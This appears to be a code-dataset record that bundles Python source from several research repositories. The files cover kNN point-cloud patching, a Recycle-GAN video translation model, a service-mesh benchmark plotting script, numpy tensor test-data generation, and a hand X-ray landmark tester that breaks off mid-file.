repo_name
stringlengths
6
130
hexsha
list
file_path
list
code
list
apis
list
kajal-puri/point-normals-upsampling
[ "5248c0d1b2b26ec9e002eb9520a204cdd186ab1d" ]
[ "code/utils/knn_patch.py" ]
[ "from sklearn.neighbors import NearestNeighbors\nimport numpy as np\n\ndef extract_knn_patch(queries, pc, k):\n \"\"\"\n queries [M, C]\n pc [P, C]\n \"\"\"\n #print(queries.shape)\n #print(pc.shape)\n knn_search = NearestNeighbors(n_neighbors=k, algorithm='auto')\n knn_search.fit(pc[:, 0:3])\n knn_idx = knn_search.kneighbors(queries, return_distance=False)\n k_patches = np.take(pc, knn_idx, axis=0) # M, K, C\n return k_patches\n" ]
[ [ "sklearn.neighbors.NearestNeighbors", "numpy.take" ] ]
andrewk1/Recycle-GAN
[ "390d3b3c2492a27e38d9b3a0b69bb95865dda7ea" ]
[ "models/recycle_gan_model.py" ]
[ "import numpy as np\nimport torch\nimport os\nfrom collections import OrderedDict\nfrom torch.autograd import Variable\nimport itertools\nimport util.util as util\nfrom util.image_pool import ImagePool\nfrom .base_model import BaseModel\nfrom . import networks\nimport sys\n\n\nclass RecycleGANModel(BaseModel):\n def name(self):\n return 'RecycleGANModel'\n\n def initialize(self, opt):\n BaseModel.initialize(self, opt)\n\n nb = opt.batchSize\n size = opt.fineSize\n self.input_A0 = self.Tensor(nb, opt.input_nc, size, size)\n self.input_A1 = self.Tensor(nb, opt.input_nc, size, size)\n self.input_A2 = self.Tensor(nb, opt.input_nc, size, size)\n\n self.input_B0 = self.Tensor(nb, opt.output_nc, size, size)\n self.input_B1 = self.Tensor(nb, opt.output_nc, size, size)\n self.input_B2 = self.Tensor(nb, opt.output_nc, size, size)\n\n # load/define networks\n # The naming conversion is different from those used in the paper\n # Code (paper): G_A (G), G_B (F), D_A (D_Y), D_B (D_X)\n\n self.netG_A = networks.define_G(opt.input_nc, opt.output_nc,\n opt.ngf, opt.which_model_netG, opt.norm,\n not opt.no_dropout, opt.init_type,\n self.gpu_ids)\n self.netG_B = networks.define_G(opt.output_nc, opt.input_nc,\n opt.ngf, opt.which_model_netG, opt.norm,\n not opt.no_dropout, opt.init_type,\n self.gpu_ids)\n\n self.which_model_netP = opt.which_model_netP\n if opt.which_model_netP == 'prediction':\n self.netP_A = networks.define_G(opt.input_nc, opt.input_nc,\n opt.npf, opt.which_model_netP,\n opt.norm, not opt.no_dropout,\n opt.init_type, self.gpu_ids)\n self.netP_B = networks.define_G(opt.output_nc, opt.output_nc,\n opt.npf, opt.which_model_netP,\n opt.norm, not opt.no_dropout,\n opt.init_type, self.gpu_ids)\n else:\n self.netP_A = networks.define_G(2 * opt.input_nc, opt.input_nc,\n opt.ngf, opt.which_model_netP,\n opt.norm, not opt.no_dropout,\n opt.init_type, self.gpu_ids)\n self.netP_B = networks.define_G(2 * opt.output_nc, opt.output_nc,\n opt.ngf, opt.which_model_netP,\n opt.norm, not opt.no_dropout,\n opt.init_type, self.gpu_ids)\n\n if self.isTrain:\n use_sigmoid = opt.no_lsgan\n self.netD_A = networks.define_D(opt.output_nc, opt.ndf,\n opt.which_model_netD,\n opt.n_layers_D, opt.norm,\n use_sigmoid, opt.init_type,\n self.gpu_ids)\n self.netD_B = networks.define_D(opt.input_nc, opt.ndf,\n opt.which_model_netD,\n opt.n_layers_D, opt.norm,\n use_sigmoid, opt.init_type,\n self.gpu_ids)\n if not self.isTrain or opt.continue_train:\n which_epoch = opt.which_epoch\n self.load_network(self.netG_A, 'G_A', which_epoch)\n self.load_network(self.netG_B, 'G_B', which_epoch)\n self.load_network(self.netP_A, 'P_A', which_epoch)\n self.load_network(self.netP_B, 'P_B', which_epoch)\n if self.isTrain:\n self.load_network(self.netD_A, 'D_A', which_epoch)\n self.load_network(self.netD_B, 'D_B', which_epoch)\n\n if self.isTrain:\n self.old_lr = opt.lr\n self.fake_A_pool = ImagePool(opt.pool_size)\n self.fake_B_pool = ImagePool(opt.pool_size)\n # define loss functions\n self.criterionGAN = networks.GANLoss(use_lsgan=not opt.no_lsgan,\n tensor=self.Tensor)\n self.criterionCycle = torch.nn.L1Loss()\n self.criterionIdt = torch.nn.L1Loss()\n # initialize optimizers\n self.optimizer_G = torch.optim.Adam(\n itertools.chain(self.netG_A.parameters(),\n self.netG_B.parameters(),\n self.netP_A.parameters(),\n self.netP_B.parameters()),\n lr=opt.lr, betas=(opt.beta1, 0.999))\n self.optimizer_D_A = torch.optim.Adam(self.netD_A.parameters(),\n lr=opt.lr,\n betas=(opt.beta1, 0.999))\n self.optimizer_D_B = torch.optim.Adam(self.netD_B.parameters(),\n lr=opt.lr,\n betas=(opt.beta1, 0.999))\n self.optimizers = []\n self.schedulers = []\n self.optimizers.append(self.optimizer_G)\n self.optimizers.append(self.optimizer_D_A)\n self.optimizers.append(self.optimizer_D_B)\n for optimizer in self.optimizers:\n self.schedulers.append(networks.get_scheduler(optimizer, opt))\n\n print('---------- Networks initialized -------------')\n networks.print_network(self.netG_A)\n networks.print_network(self.netG_B)\n networks.print_network(self.netP_A)\n networks.print_network(self.netP_B)\n if self.isTrain:\n networks.print_network(self.netD_A)\n networks.print_network(self.netD_B)\n print('-----------------------------------------------')\n\n def set_input(self, input):\n AtoB = self.opt.which_direction == 'AtoB'\n input_A0 = input['A0']\n input_A1 = input['A1']\n input_A2 = input['A2']\n\n input_B0 = input['B0']\n input_B1 = input['B1']\n input_B2 = input['B2']\n\n self.input_A0.resize_(input_A0.size()).copy_(input_A0)\n self.input_A1.resize_(input_A1.size()).copy_(input_A1)\n self.input_A2.resize_(input_A2.size()).copy_(input_A2)\n\n self.input_B0.resize_(input_B0.size()).copy_(input_B0)\n self.input_B1.resize_(input_B1.size()).copy_(input_B1)\n self.input_B2.resize_(input_B2.size()).copy_(input_B2)\n\n self.image_paths = input['A_paths' if AtoB else 'B_paths']\n\n def forward(self):\n self.real_A0 = Variable(self.input_A0)\n self.real_A1 = Variable(self.input_A1)\n self.real_A2 = Variable(self.input_A2)\n\n self.real_B0 = Variable(self.input_B0)\n self.real_B1 = Variable(self.input_B1)\n self.real_B2 = Variable(self.input_B2)\n\n def test(self):\n real_A0 = Variable(self.input_A0, volatile=True)\n real_A1 = Variable(self.input_A1, volatile=True)\n\n fake_B0 = self.netG_A(real_A0)\n fake_B1 = self.netG_A(real_A1)\n # fake_B2 = self.netP_B(torch.cat((fake_B0, fake_B1),1))\n if self.which_model_netP == 'prediction':\n fake_B2 = self.netP_B(fake_B0, fake_B1)\n else:\n fake_B2 = self.netP_B(torch.cat((fake_B0, fake_B1), 1))\n\n self.rec_A = self.netG_B(fake_B2).data\n self.fake_B0 = fake_B0.data\n self.fake_B1 = fake_B1.data\n self.fake_B2 = fake_B2.data\n\n real_B0 = Variable(self.input_B0, volatile=True)\n real_B1 = Variable(self.input_B1, volatile=True)\n\n fake_A0 = self.netG_B(real_B0)\n fake_A1 = self.netG_B(real_B1)\n # fake_A2 = self.netP_A(torch.cat((fake_A0, fake_A1),1))\n if self.which_model_netP == 'prediction':\n fake_A2 = self.netP_A(fake_A0, fake_A1)\n else:\n fake_A2 = self.netP_A(torch.cat((fake_A0, fake_A1), 1))\n\n self.rec_B = self.netG_A(fake_A2).data\n self.fake_A0 = fake_A0.data\n self.fake_A1 = fake_A1.data\n self.fake_A2 = fake_A2.data\n\n # pred_A2 = self.netP_A(torch.cat((real_A0, real_A1),1))\n if self.which_model_netP == 'prediction':\n pred_A2 = self.netP_A(real_A0, real_A1)\n pred_B2 = self.netP_B(real_B0, real_B1)\n else:\n pred_A2 = self.netP_A(torch.cat((real_A0, real_A1), 1))\n pred_B2 = self.netP_B(torch.cat((real_B0, real_B1), 1))\n\n self.pred_A2 = pred_A2.data\n self.pred_B2 = pred_B2.data\n\n # get image paths\n def get_image_paths(self):\n return self.image_paths\n\n def backward_D_basic(self, netD, real, fake):\n # Real\n pred_real = netD(real)\n loss_D_real = self.criterionGAN(pred_real, True)\n # Fake\n pred_fake = netD(fake.detach())\n loss_D_fake = self.criterionGAN(pred_fake, False)\n # Combined loss\n loss_D = (loss_D_real + loss_D_fake) * 0.5\n # backward\n loss_D.backward()\n return loss_D\n\n def backward_D_A(self):\n fake_B0 = self.fake_B_pool.query(self.fake_B0)\n loss_D_A0 = self.backward_D_basic(self.netD_A, self.real_B0, fake_B0)\n\n fake_B1 = self.fake_B_pool.query(self.fake_B1)\n loss_D_A1 = self.backward_D_basic(self.netD_A, self.real_B1, fake_B1)\n\n fake_B2 = self.fake_B_pool.query(self.fake_B2)\n loss_D_A2 = self.backward_D_basic(self.netD_A, self.real_B2, fake_B2)\n\n pred_B = self.fake_B_pool.query(self.pred_B2)\n loss_D_A3 = self.backward_D_basic(self.netD_A, self.real_B2, pred_B)\n\n self.loss_D_A = loss_D_A0.data[0] + loss_D_A1.data[0] + loss_D_A2.data[\n 0] + loss_D_A3.data[0]\n\n def backward_D_B(self):\n fake_A0 = self.fake_A_pool.query(self.fake_A0)\n loss_D_B0 = self.backward_D_basic(self.netD_B, self.real_A0, fake_A0)\n\n fake_A1 = self.fake_A_pool.query(self.fake_A1)\n loss_D_B1 = self.backward_D_basic(self.netD_B, self.real_A1, fake_A1)\n\n fake_A2 = self.fake_A_pool.query(self.fake_A2)\n loss_D_B2 = self.backward_D_basic(self.netD_B, self.real_A2, fake_A2)\n\n pred_A = self.fake_A_pool.query(self.pred_A2)\n loss_D_B3 = self.backward_D_basic(self.netD_B, self.real_A2, pred_A)\n\n self.loss_D_B = loss_D_B0.data[0] + loss_D_B1.data[0] + loss_D_B2.data[\n 0] + loss_D_B3.data[0]\n\n def backward_G(self):\n lambda_idt = self.opt.identity\n lambda_A = self.opt.lambda_A\n lambda_B = self.opt.lambda_B\n # Identity loss\n if lambda_idt > 0:\n loss_idt_A = 0\n loss_idt_B = 0\n self.loss_idt_A = 0\n self.loss_idt_B = 0\n else:\n loss_idt_A = 0\n loss_idt_B = 0\n self.loss_idt_A = 0\n self.loss_idt_B = 0\n\n # GAN loss D_A(G_A(A))\n fake_B0 = self.netG_A(self.real_A0)\n pred_fake = self.netD_A(fake_B0)\n loss_G_A0 = self.criterionGAN(pred_fake, True)\n\n fake_B1 = self.netG_A(self.real_A1)\n pred_fake = self.netD_A(fake_B1)\n loss_G_A1 = self.criterionGAN(pred_fake, True)\n\n # fake_B2 = self.netP_B(torch.cat((fake_B0,fake_B1),1))\n if self.which_model_netP == 'prediction':\n fake_B2 = self.netP_B(fake_B0, fake_B1)\n else:\n fake_B2 = self.netP_B(torch.cat((fake_B0, fake_B1), 1))\n\n pred_fake = self.netD_A(fake_B2)\n loss_G_A2 = self.criterionGAN(pred_fake, True)\n\n # GAN loss D_B(G_B(B))\n fake_A0 = self.netG_B(self.real_B0)\n pred_fake = self.netD_B(fake_A0)\n loss_G_B0 = self.criterionGAN(pred_fake, True)\n\n fake_A1 = self.netG_B(self.real_B1)\n pred_fake = self.netD_B(fake_A1)\n loss_G_B1 = self.criterionGAN(pred_fake, True)\n\n # fake_A2 = self.netP_A(torch.cat((fake_A0,fake_A1),1))\n if self.which_model_netP == 'prediction':\n fake_A2 = self.netP_A(fake_A0, fake_A1)\n else:\n fake_A2 = self.netP_A(torch.cat((fake_A0, fake_A1), 1))\n\n pred_fake = self.netD_B(fake_A2)\n loss_G_B2 = self.criterionGAN(pred_fake, True)\n\n # prediction loss --\n # pred_A2 = self.netP_A(torch.cat((self.real_A0, self.real_A1),1))\n if self.which_model_netP == 'prediction':\n pred_A2 = self.netP_A(self.real_A0, self.real_A1)\n else:\n pred_A2 = self.netP_A(torch.cat((self.real_A0, self.real_A1), 1))\n\n loss_pred_A = self.criterionCycle(pred_A2, self.real_A2) * lambda_A\n\n # pred_B2 = self.netP_B(torch.cat((self.real_B0, self.real_B1),1))\n if self.which_model_netP == 'prediction':\n pred_B2 = self.netP_B(self.real_B0, self.real_B1)\n else:\n pred_B2 = self.netP_B(torch.cat((self.real_B0, self.real_B1), 1))\n\n loss_pred_B = self.criterionCycle(pred_B2, self.real_B2) * lambda_B\n\n # Forward cycle loss\n rec_A = self.netG_B(fake_B2)\n loss_cycle_A = self.criterionCycle(rec_A, self.real_A2) * lambda_A\n\n # Backward cycle loss\n rec_B = self.netG_A(fake_A2)\n loss_cycle_B = self.criterionCycle(rec_B, self.real_B2) * lambda_B\n # combined loss\n loss_G = loss_G_A0 + loss_G_A1 + loss_G_A2 + loss_G_B0 + loss_G_B1 + loss_G_B2 + loss_cycle_A + loss_cycle_B + loss_pred_A + loss_pred_B + loss_idt_A + loss_idt_B\n loss_G.backward()\n\n self.fake_B0 = fake_B0.data\n self.fake_B1 = fake_B1.data\n self.fake_B2 = fake_B2.data\n self.pred_B2 = pred_B2.data\n\n self.fake_A0 = fake_A0.data\n self.fake_A1 = fake_A1.data\n self.fake_A2 = fake_A2.data\n self.pred_A2 = pred_A2.data\n\n self.rec_A = rec_A.data\n self.rec_B = rec_B.data\n\n self.loss_G_A = loss_G_A0.data[0] + loss_G_A1.data[0] + loss_G_A2.data[\n 0]\n self.loss_G_B = loss_G_B0.data[0] + loss_G_B1.data[0] + loss_G_B2.data[\n 0]\n self.loss_cycle_A = loss_cycle_A.data[0]\n self.loss_cycle_B = loss_cycle_B.data[0]\n self.loss_pred_A = loss_pred_A.data[0]\n self.loss_pred_B = loss_pred_B.data[0]\n\n def optimize_parameters(self):\n # forward\n self.forward()\n # G_A and G_B\n self.optimizer_G.zero_grad()\n self.backward_G()\n self.optimizer_G.step()\n # D_A\n self.optimizer_D_A.zero_grad()\n self.backward_D_A()\n self.optimizer_D_A.step()\n # D_B\n self.optimizer_D_B.zero_grad()\n self.backward_D_B()\n self.optimizer_D_B.step()\n\n def get_current_errors(self):\n ret_errors = OrderedDict(\n [('D_A', self.loss_D_A), ('G_A', self.loss_G_A),\n ('Cyc_A', self.loss_cycle_A), ('Pred_A', self.loss_pred_A),\n ('D_B', self.loss_D_B), ('G_B', self.loss_G_B),\n ('Cyc_B', self.loss_cycle_B), ('Pred_B', self.loss_pred_B)])\n if self.opt.identity > 0.0:\n ret_errors['idt_A'] = self.loss_idt_A\n ret_errors['idt_B'] = self.loss_idt_B\n return ret_errors\n\n def get_current_visuals(self):\n real_A0 = util.tensor2im(self.input_A0)\n real_A1 = util.tensor2im(self.input_A1)\n real_A2 = util.tensor2im(self.input_A2)\n\n fake_B0 = util.tensor2im(self.fake_B0)\n fake_B1 = util.tensor2im(self.fake_B1)\n fake_B2 = util.tensor2im(self.fake_B2)\n\n rec_A = util.tensor2im(self.rec_A)\n\n real_B0 = util.tensor2im(self.input_B0)\n real_B1 = util.tensor2im(self.input_B1)\n real_B2 = util.tensor2im(self.input_B2)\n\n fake_A0 = util.tensor2im(self.fake_A0)\n fake_A1 = util.tensor2im(self.fake_A1)\n fake_A2 = util.tensor2im(self.fake_A2)\n\n rec_B = util.tensor2im(self.rec_B)\n\n pred_A2 = util.tensor2im(self.pred_A2)\n pred_B2 = util.tensor2im(self.pred_B2)\n\n ret_visuals = OrderedDict([('real_A0', real_A0), ('fake_B0', fake_B0),\n ('real_A1', real_A1), ('fake_B1', fake_B1),\n ('fake_B2', fake_B2), ('rec_A', rec_A),\n ('real_A2', real_A2),\n ('real_B0', real_B0), ('fake_A0', fake_A0),\n ('real_B1', real_B1), ('fake_A1', fake_A1),\n ('fake_A2', fake_A2), ('rec_B', rec_B),\n ('real_B2', real_B2),\n ('real_A2', real_A2), ('pred_A2', pred_A2),\n ('real_B2', real_B2), ('pred_B2', pred_B2)])\n if self.opt.isTrain and self.opt.identity > 0.0:\n ret_visuals['idt_A'] = util.tensor2im(self.idt_A)\n ret_visuals['idt_B'] = util.tensor2im(self.idt_B)\n return ret_visuals\n\n def save(self, label):\n self.save_network(self.netG_A, 'G_A', label, self.gpu_ids)\n self.save_network(self.netD_A, 'D_A', label, self.gpu_ids)\n self.save_network(self.netG_B, 'G_B', label, self.gpu_ids)\n self.save_network(self.netD_B, 'D_B', label, self.gpu_ids)\n self.save_network(self.netP_A, 'P_A', label, self.gpu_ids)\n self.save_network(self.netP_B, 'P_B', label, self.gpu_ids)" ]
[ [ "torch.autograd.Variable", "torch.cat", "torch.nn.L1Loss" ] ]
saimsalman36/tools
[ "0b4aeaa9203335b3eb8462b5bff5de021e1d77af" ]
[ "perf/benchmark/runner/graph.py" ]
[ "from bokeh.plotting import figure, output_file, show\nimport pandas as pd\nimport os\nimport numpy as np\nfrom bokeh.io import output_notebook\nfrom bokeh.models import ColumnDataSource, HoverTool\nfrom bokeh.models.tools import CustomJSHover\nfrom bokeh.palettes import Dark2_5 as palette\nimport itertools # for cycling through colors\nfrom bokeh.models import Legend\nimport sys\nimport argparse\n\n\n# generate_chart displays numthreads vs. metric, writes to interactive HTML\ndef generate_chart(mesh, csv, x_label, y_label_short):\n print(\n \"Generating chart, x_label=%s, y_label=%s, csv=%s ...\" %\n (x_label, y_label_short, csv))\n\n # valid options = latency, memory, cpu\n valid_metrics = {\"p50\": \"p50\",\n \"p90\": \"p90\",\n \"p99\": \"p99\",\n \"mem\": \"mem_MB_max_fortioserver_deployment_proxy\",\n \"cpu\": \"cpu_mili_max_fortioserver_deployment_proxy\"}\n\n if y_label_short is None:\n sys.exit('need metric')\n if y_label_short not in valid_metrics:\n sys.exit(\"invalid metric\")\n if csv is None:\n sys.exit('need CSV file')\n\n y_label = valid_metrics[y_label_short] # the CSV label\n\n # 1. read CSV to pandas dataframe\n df = pd.read_csv(csv, index_col=None, header=0)\n df[\"Labels\"] = [x.split('_', 6)[-1] for x in df['Labels']]\n\n # 2. generate series to plot (x= numthreads or qps, y=y_)\n x_series, y_series = get_series(df, x_label, y_label)\n\n # 3. generate title\n qps = df.at[0, 'ActualQPS']\n seconds = df.at[0, 'ActualDuration']\n threads = df.at[0, 'NumThreads']\n\n if x_label == \"connections\": # option 1 -- constant QPS, numthreads x metric\n title = \"{} {}, {} QPS over {} seconds\".format(\n mesh, y_label_short, qps, seconds)\n else: # option 2 -- constant numthreads, QPS x metric\n title = \"{} {}, {} threads over {} seconds\".format(\n mesh, y_label_short, threads, seconds)\n\n # 4. prep file-write\n fn = \"\".join(title.split())\n f = \"/tmp/\" + fn + \".html\"\n output_file(f)\n\n # 5. create chart -> save as interactive HTML\n p = build_chart(title, x_label, x_series, y_label, y_label_short, y_series)\n show(p)\n print(\"HTML graph saved at %s\" % f)\n\n\n# get_series processes x_label metric / y-axis metric for different test\n# modes (both, serveronly, etc.)\ndef get_series(df, x_label, metric):\n\n # map CSV label regex --> cleaner labels for graph legend\n modes = {'^serveronly': 'serveronly',\n \"nomix.*_serveronly\": \"nomixer_serveronly\",\n \"nomix.*_both\": \"nomixer_both\",\n \"base\": \"base\",\n \"^both\": \"both\"}\n\n # get y axis\n series = {}\n for m, k in modes.items():\n rows = df[df.Labels.str.contains(m)]\n vals = list(rows[metric])\n\n # if y-axis metric is latency, convert microseconds to milliseconds\n if metric.startswith(\"p\"):\n print(\"converting CSV microseconds to milliseconds...\")\n vals = [v / 1000 for v in vals]\n # reverse to match sorted numthreads, below\n vals.reverse()\n series[k] = vals\n\n # only include test modes that were in the input CSV - (if nomixer not\n # included, don't attempt to plot it)\n useries = {}\n for k, v in series.items():\n if len(v) > 0:\n useries[k] = v\n y = useries\n\n # get x axis\n if x_label == \"connections\":\n x = list(rows.NumThreads)\n elif x_label == \"qps\":\n x = list(rows.ActualQPS)\n else:\n sys.exit(\"Error: x_label must be one of: connections,qps\")\n\n x.sort() # sort to increasing order\n return x, y\n\n# build_chart creates a bokeh.js plot from data\n\n\ndef build_chart(title, x_label, x_series, y_label, y_label_short, y_series):\n # generate y-axis label with units\n print(y_label)\n if y_label.startswith('p'):\n y_axis_label = metric = \" latency, milliseconds\"\n else:\n if y_label.startswith('mem'):\n y_axis_label = \"max memory usage, server proxy (MB)\"\n else:\n y_axis_label = \"max CPUs, server proxy (millicores)\"\n\n # show metric value on hover\n TOOLTIPS = [(y_label_short, '$data_y')]\n\n # create plot\n p = figure(\n tools=\"pan,box_zoom,reset,save\",\n title=title,\n tooltips=TOOLTIPS,\n plot_width=1000, plot_height=600,\n x_axis_label=x_label, y_axis_label=y_axis_label\n )\n\n # format axes\n p.title.text_font_size = '22pt'\n p.xaxis.minor_tick_line_color = None # turn off x-axis minor ticks\n p.yaxis.minor_tick_line_color = None # turn off y-axis minor ticks\n p.xaxis.axis_label_text_font_size = \"15pt\"\n p.yaxis.axis_label_text_font_size = \"15pt\"\n p.xaxis.major_label_text_font_size = \"13pt\"\n p.yaxis.major_label_text_font_size = \"13pt\"\n p.xaxis.ticker = x_series # x (qps, numthreads) is a discrete variable\n\n # use a different color for each series (both, baseline, etc.)\n colors = itertools.cycle(palette)\n for mode, val in y_series.items():\n col = next(colors)\n p.line(x_series, val, line_color=col)\n p.circle(x_series, val, legend=mode, size=10, fill_color=col)\n\n p.legend.location = \"top_left\"\n\n return p\n\n\ndef main(argv):\n args = getParser().parse_args(argv)\n return generate_chart(args.mesh, args.csv, args.xaxis, args.metric)\n\n\ndef getParser():\n parser = argparse.ArgumentParser(\n \"Service Mesh Performance Graph Generator\")\n parser.add_argument(\"csv\", help=\"csv file\", default=\"\")\n parser.add_argument(\n \"--xaxis\",\n help=\"one of: connections, qps\",\n default=\"connections\")\n parser.add_argument(\n \"metric\",\n help=\"y-axis: one of: p50, p90, p99, mem, cpu\",\n default=\"\")\n parser.add_argument(\n \"--mesh\",\n help=\"which service mesh tool: istio, linkerd\",\n default=\"istio\")\n return parser\n\n\nif __name__ == \"__main__\":\n import sys\n sys.exit(main(sys.argv[1:]))\n" ]
[ [ "pandas.read_csv" ] ]
williammora1984/UMAT_GTN
[ "69a73295afdebb5e8003c058d9666375faf2fe38" ]
[ "1_Test_tensor_op/generate_values_test.py" ]
[ "import numpy as np\nimport csv\nfrom random import seed\nfrom random import random\nfrom numpy import random\n\n\n#Linspace without include the end point\nn_test=2\nend=np.random.rand(n_test)\ndifference_start_end=np.random.rand(n_test)\nmax_n_steps=20\nsteps=(random.rand(n_test)*max_n_steps)//1\nexport=np.zeros((n_test,3+max_n_steps))\nsteps=np.int_(steps)\nprint(steps)\nfor i in range(0,n_test):\n export[i,0]=end[i]-difference_start_end[i]\n export[i,1]=end[i]\n export[i,2]= steps[i]\n a=np.linspace(end[i]-difference_start_end[i],end[i],steps[i],0)\n export[i,3:(3+steps[i])]=a\n\n#print(export)\n\n'''============================================\nWrite a small matrix in vector form\n==============================================='''\n\na = np.arange(25).reshape(5,5)\n#open the file in the write mode\n\nwith open('data_TT01.csv', 'w') as f:\n # create the csv writer\n writer = csv.writer(f)\n\n # write a row to the csv file\n for i in range (a.shape[0]):\n writer.writerow(a[i,:])\n\n'''============================================\nDiadic Product test data\n==============================================='''\n\na = np.arange(2,6.5,0.5).reshape(3,3)\nb = np.arange(2,6.5,0.5).reshape(3,3)\ninv_a=np.linalg.inv(a)\ninv_b=np.linalg.inv(b)\nDia2=np.einsum('ij,ij',a,b)\nTrace_a=np.einsum('ii',a)\n\na = a.reshape(9)\nb = b.reshape(9)\ninv_a=inv_a.reshape(9)\ninv_b=inv_b.reshape(9)\nd=np.append(a,b)\nexport_data1=np.append(d,Trace_a)\nexport_data1=np.append(export_data1,Dia2)\nexport_data1=np.append(export_data1,inv_a)\nexport_data1=np.append(export_data1,inv_b)\n\niter=10\nfor i in range (iter):\n a = np.random.rand(3,3)*100\n b = np.random.rand(3,3)*200\n inv_a=np.linalg.inv(a)\n inv_b=np.linalg.inv(b)\n#Diadic product using einstein summation\n Dia2=np.einsum('ij,ij',a,b)\n#Trace using einstein sumation\n Trace_a=np.einsum('ii',a)\n a = a.reshape(9)\n b = b.reshape(9)\n inv_a=inv_a.reshape(9)\n inv_b=inv_b.reshape(9)\n#Columns 0 to 17 , tensors A and B (3x3) in 1D (9x1).\n mat_v=np.append(a,b)\n#Colum 18: Trace\n f=np.append(mat_v,Trace_a)\n#Column 19: diadic product\n f=np.append(f,Dia2)\n#Column 20 to 28: inverse a\n f=np.append(f,inv_a)\n#Column 29 to 37: inverse b\n f=np.append(f,inv_b)\n \n if i== 0:\n export_data1=np.append([export_data1],[f],0)\n else:\n export_data1=np.append(export_data1,[f],0)\n\n#open the file in the write mode\nwith open('data_TT02.csv', 'w') as f:\n # create the csv writer\n writer = csv.writer(f)\n\n # write a row to the csv file\n for i in range (iter+1):\n writer.writerow(export_data1[i,:])\n\na = np.arange(9.).reshape(3,3)\n\n#diadic_prod_T2_T2\nDia4=np.einsum('ij,kl->ijkl',a,a)\n#print (Dia4)\nDia4=Dia4.reshape(81)\n#print (Dia4)\n\n#contrac_4th_2nd\na = np.arange(81.).reshape(3,3,3,3)\nb = np.arange(9.).reshape(3,3)\nCon4_2=np.einsum('kl,ijkl->ij',b,a)\nprint(Con4_2)" ]
[ [ "numpy.append", "numpy.random.rand", "numpy.zeros", "numpy.einsum", "numpy.arange", "numpy.int_", "numpy.linspace", "numpy.linalg.inv" ] ]
Curli-quan/fewshot-select
[ "34f8ce5069ed1fbd01c1fa73a3ef264c98dadafe" ]
[ "utils/tester/tester_hand_ssl.py" ]
[ "\r\nfrom eval import Evaluater\r\nfrom utils import to_Image, pred_landmarks, visualize, make_dir\r\nfrom datasets.hand_basic import TestHandXray\r\nimport torch\r\nimport numpy as np\r\nfrom torch.utils.data import DataLoader\r\nimport json\r\nfrom PIL import Image, ImageDraw, ImageFont\r\nfrom .eval_hand import Evaluater\r\nfrom .utils import visualize\r\n\r\nfrom tutils import tfilename, tdir\r\n\r\n\r\ndef gray_to_PIL(tensor):\r\n tensor = torch.clamp(tensor, 0, 1)\r\n tensor = tensor * 255\r\n images = Image.fromarray(tensor.int().numpy().astype(np.uint8))\r\n return images\r\n\r\n\r\ndef gray_to_PIL2(tensor, pred_lm, landmark, row=6, width=384):\r\n tensor = torch.clamp(tensor, 0, 1)\r\n tensor = tensor * 255\r\n images = Image.fromarray(tensor.int().numpy().astype(np.uint8)).convert('RGB')\r\n draw = ImageDraw.Draw(images)\r\n red = (255, 0, 0)\r\n green = (0, 255, 0)\r\n # red = 255\r\n for i in range(row):\r\n draw.rectangle((pred_lm[0] + i * width - 2, pred_lm[1] - 2, pred_lm[0] + i * width + 2, pred_lm[1] + 2),\r\n fill=green)\r\n draw.rectangle((landmark[0] + i * width - 2, landmark[1] - 2, landmark[0] + i * width + 2, landmark[1] + 2),\r\n fill=red)\r\n draw.line([tuple(pred_lm), tuple(landmark)], fill='green', width=0)\r\n # import ipdb; ipdb.set_trace()\r\n return images\r\n\r\n\r\ndef match_cos(feature, template):\r\n feature = feature.permute(1, 2, 0)\r\n fea_L2 = torch.norm(feature, dim=-1)\r\n template_L2 = torch.norm(template, dim=-1)\r\n inner_product = (feature * template).sum(-1)\r\n cos_similarity = inner_product / (fea_L2 * template_L2 + 1e-3)\r\n return torch.clamp(cos_similarity, 0, 1)\r\n\r\n\r\nclass Tester(object):\r\n def __init__(self, logger, config, mode=\"Train\", args=None):\r\n self.config = config\r\n dataset_1 = TestHandXray(config['dataset']['pth'], config['dataset']['label_path'], mode=mode)\r\n self.dataloader_1 = DataLoader(dataset_1, batch_size=1,\r\n shuffle=False, num_workers=config['training']['num_workers'])\r\n self.args = args\r\n\r\n self.evaluater = Evaluater(None, dataset_1.size, \\\r\n dataset_1.original_size)\r\n self.dataset = dataset_1\r\n self.id_landmarks = [i for i in range(config['training']['num_landmarks'])]\r\n\r\n def test(self, *args, **kwargs):\r\n return self.test_func(*args, **kwargs)\r\n\r\n def test_func(self, net, epoch=None, rank='cuda', oneshot_id=126, dump_label=False, draw=False):\r\n if net is not None:\r\n self.model = net\r\n assert (hasattr(self, 'model'))\r\n net.eval()\r\n config = self.config\r\n\r\n one_shot_loader = TestHandXray(config['dataset']['pth'], config['dataset']['label_path'], mode=\"Train\")\r\n print(f'ID Oneshot : {oneshot_id}')\r\n self.evaluater.reset()\r\n data = one_shot_loader.__getitem__(oneshot_id)\r\n image, landmarks, im_name = data['img'], data['landmark_list'], data['name']\r\n feature_list = list()\r\n if rank != 'cuda':\r\n image = image.to(rank)\r\n else:\r\n image = image.cuda()\r\n features_tmp = net(image.unsqueeze(0))\r\n\r\n # Depth\r\n feature_list = dict()\r\n for id_depth in range(6):\r\n tmp = list()\r\n for id_mark, landmark in enumerate(landmarks):\r\n tmpl_y, tmpl_x = landmark[1] // (2 ** (5 - id_depth)), landmark[0] // (2 ** (5 - id_depth))\r\n mark_feature = features_tmp[id_depth][0, :, tmpl_y, tmpl_x]\r\n tmp.append(mark_feature.detach().squeeze().cpu().numpy())\r\n tmp = np.stack(tmp)\r\n if rank != 'cuda':\r\n one_shot_feature = torch.tensor(tmp).to(rank)\r\n else:\r\n one_shot_feature = torch.tensor(tmp).cuda()\r\n feature_list[id_depth] = one_shot_feature\r\n\r\n ID = 1\r\n\r\n for data in self.dataloader_1:\r\n if rank != 'cuda':\r\n img = data['img'].to(rank)\r\n else:\r\n img = data['img'].cuda()\r\n features = net(img)\r\n landmark_list = data['landmark_list']\r\n img_shape = data['img_shape']\r\n index = data['index']\r\n\r\n pred_landmarks_y, pred_landmarks_x = list(), list()\r\n for id_mark in range(one_shot_feature.shape[0]):\r\n cos_lists = []\r\n cos_ori_lists = []\r\n if rank != 'cuda':\r\n final_cos = torch.ones_like(img[0, 0]).to(rank)\r\n else:\r\n final_cos = torch.ones_like(img[0, 0]).cuda()\r\n for id_depth in range(5):\r\n cos_similarity = match_cos(features[id_depth].squeeze(), \\\r\n feature_list[id_depth][id_mark])\r\n # import ipdb;ipdb.set_trace()\r\n cos_similarity = torch.nn.functional.upsample( \\\r\n cos_similarity.unsqueeze(0).unsqueeze(0), \\\r\n scale_factor=2 ** (5 - id_depth), 